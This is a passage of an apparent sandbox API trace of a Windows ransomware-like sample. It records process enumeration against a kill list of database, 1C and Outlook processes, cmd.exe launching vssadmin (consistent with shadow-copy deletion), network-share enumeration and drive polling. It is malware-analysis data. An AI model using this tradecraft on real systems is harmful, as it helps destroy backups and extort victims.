lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.953] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.953] lstrlenW (lpString="smss.exe") returned 8 [0051.953] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.953] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.953] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.953] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.953] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.953] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.953] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.953] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.954] lstrlenW (lpString="csrss.exe") returned 9 [0051.954] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0051.954] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0051.954] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0051.954] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0051.954] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0051.954] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0051.954] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.955] lstrlenW (lpString="wininit.exe") returned 11 [0051.955] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0051.955] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0051.955] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0051.956] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.956] lstrlenW (lpString="csrss.exe") returned 9 [0051.956] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.957] lstrlenW (lpString="winlogon.exe") returned 12 [0051.957] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.962] lstrlenW (lpString="services.exe") returned 12 [0051.963] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.963] lstrlenW (lpString="lsass.exe") returned 9 [0051.963] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.964] lstrlenW (lpString="lsm.exe") returned 7 [0051.964] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.965] lstrlenW (lpString="svchost.exe") returned 11 [0051.965] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.965] lstrlenW (lpString="svchost.exe") returned 11 [0051.965] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.966] lstrlenW (lpString="svchost.exe") returned 11 [0051.966] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.967] lstrlenW (lpString="svchost.exe") returned 11 [0051.967] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.968] lstrlenW (lpString="svchost.exe") returned 11 [0051.968] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.969] lstrlenW (lpString="audiodg.exe") returned 11 [0051.969] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.969] lstrlenW (lpString="svchost.exe") returned 11 [0051.969] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.970] lstrlenW (lpString="svchost.exe") returned 11 [0051.970] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.971] lstrlenW (lpString="dwm.exe") returned 7 [0051.971] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.971] lstrlenW (lpString="explorer.exe") returned 12 [0051.971] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.972] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.972] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.974] lstrlenW (lpString="taskhost.exe") returned 12 [0051.974] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.975] lstrlenW (lpString="svchost.exe") returned 11 [0051.975] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.016] lstrlenW (lpString="taskeng.exe") returned 11 [0052.016] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.017] lstrlenW (lpString="taskhost.exe") returned 12 [0052.017] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0052.020] lstrlenW (lpString="obligations-breath.exe") returned 22 [0052.020] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0052.021] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0052.021] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0052.021] lstrlenW (lpString="achieving.exe") returned 13 [0052.021] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0052.022] lstrlenW (lpString="venice.exe") returned 10 [0052.022] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0052.023] lstrlenW (lpString="owns.exe") returned 8 [0052.023] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0052.024] lstrlenW (lpString="faster momentum.exe") returned 19 [0052.024] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0052.025] lstrlenW (lpString="vital_reasons.exe") returned 17 [0052.025] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0052.027] lstrlenW (lpString="everyone.exe") returned 12 [0052.027] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0052.028] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0052.028] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0052.028] lstrlenW (lpString="bored_excluded.exe") returned 18 [0052.028] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0052.029] lstrlenW (lpString="mothers.exe") returned 11 [0052.029] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0052.030] lstrlenW (lpString="career-fed.exe") returned 14 [0052.030] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0052.030] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0052.030] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0052.031] lstrlenW (lpString="initial_utilization.exe") returned 23 [0052.031] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0052.032] lstrlenW (lpString="cf-represent.exe") returned 16 [0052.032] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0052.032] lstrlenW (lpString="tue.exe") returned 7 [0052.032] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0052.033] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0052.033] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0052.034] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0052.034] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0052.035] lstrlenW (lpString="stuff_event.exe") returned 15 [0052.035] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0052.036] lstrlenW (lpString="keywords-copies.exe") returned 19 [0052.036] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0052.036] lstrlenW (lpString="lap.exe") returned 7 [0052.036] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.037] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.037] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0052.038] lstrlenW (lpString="chrome64b.exe") returned 13 [0052.038] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.038] lstrlenW (lpString="cmd.exe") returned 7 [0052.038] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.039] lstrlenW (lpString="conhost.exe") returned 11 [0052.039] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.040] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.040] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.040] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.040] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.041] lstrlenW (lpString="svchost.exe") returned 11 [0052.041] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0052.045] lstrlenW (lpString="LogonUI.exe") returned 11 [0052.045] Process32NextW (in: hSnapshot=0x210, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0052.046] CloseHandle (hObject=0x210) returned 1 [0052.046] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x9c8 [0031.307] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0031.307] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x624a40 | out: hHeap=0x5f0000) returned 1 Thread: id = 6 os_tid = 0x9cc [0031.308] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x624a40 [0031.308] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x624a40, Size=0x20) returned 0x625cb0 [0031.308] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625cb0, Size=0x40) returned 0x626c40 [0031.308] GetLogicalDrives () returned 0x4 [0031.308] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x65e4a8 [0031.308] GetComputerNameW (in: lpBuffer=0x65e4ac, nSize=0x234ff6c | out: lpBuffer="XDUWTFONO", nSize=0x234ff6c) returned 1 [0031.308] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1000) returned 0x66e4b0 [0031.308] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x234ff3c | out: lphEnum=0x234ff3c*=0x6261b0) returned 0x0 [0031.309] WNetEnumResourceW (in: hEnum=0x6261b0, lpcCount=0x234ff38, lpBuffer=0x66e4b0, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x66e4b0, lpBufferSize=0x234ff40) returned 0x103 [0031.309] WNetCloseEnum (hEnum=0x6261b0) returned 0x0 [0031.309] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x234ff3c | out: lphEnum=0x234ff3c*=0x640d68) returned 0x0 [0033.742] WNetEnumResourceW (in: hEnum=0x640d68, lpcCount=0x234ff38, lpBuffer=0x66e4b0, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x66e4b0, lpBufferSize=0x234ff40) returned 0x0 [0033.742] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1000) returned 0x6e5660 [0033.742] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66e4b0, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x626330) returned 0x0 [0033.766] WNetEnumResourceW (in: hEnum=0x626330, lpcCount=0x234ff0c, lpBuffer=0x6e5660, lpBufferSize=0x234ff14 | out: lpcCount=0x234ff0c, lpBuffer=0x6e5660, lpBufferSize=0x234ff14) returned 0x103 [0033.766] WNetCloseEnum (hEnum=0x626330) returned 0x0 [0033.766] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1000) returned 0x3932b30 [0033.766] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66e4d0, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x0) returned 0x4b8 [0051.246] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1000) returned 0x3fb0e90 [0051.246] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x66e4f0, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x0) returned 0x4c6 [0051.248] WNetEnumResourceW (in: hEnum=0x640d68, lpcCount=0x234ff38, lpBuffer=0x66e4b0, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x66e4b0, lpBufferSize=0x234ff40) returned 0x103 [0051.248] WNetCloseEnum (hEnum=0x640d68) returned 0x0 [0051.248] GetLogicalDrives () returned 0x4 [0051.248] Sleep (dwMilliseconds=0x64) [0051.494] GetLogicalDrives () returned 0x4 [0051.494] Sleep (dwMilliseconds=0x64) [0051.936] GetLogicalDrives () returned 0x4 [0051.936] Sleep (dwMilliseconds=0x64) [0052.078] GetLogicalDrives () returned 0x4 [0052.078] Sleep (dwMilliseconds=0x64) [0052.331] GetLogicalDrives () returned 0x4 [0052.331] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x9d0 [0032.689] GetTickCount () returned 0x18065 [0032.689] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x24) returned 0x641000 [0032.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x641000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0032.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x641000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0032.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x641000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0032.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x641000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0032.694] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6402e0 [0032.695] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6402e0, Size=0x20) returned 0x66f570 [0032.695] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6402e0 [0032.695] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6402e0, Size=0x20) returned 0x66f548 [0032.695] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.695] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.695] Wow64DisableWow64FsRedirection (in: OldValue=0x244ff84 | out: OldValue=0x244ff84*=0x0) returned 1 [0032.695] lstrlenW (lpString="kernel32.dll") returned 12 [0032.695] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f570 | out: hHeap=0x5f0000) returned 1 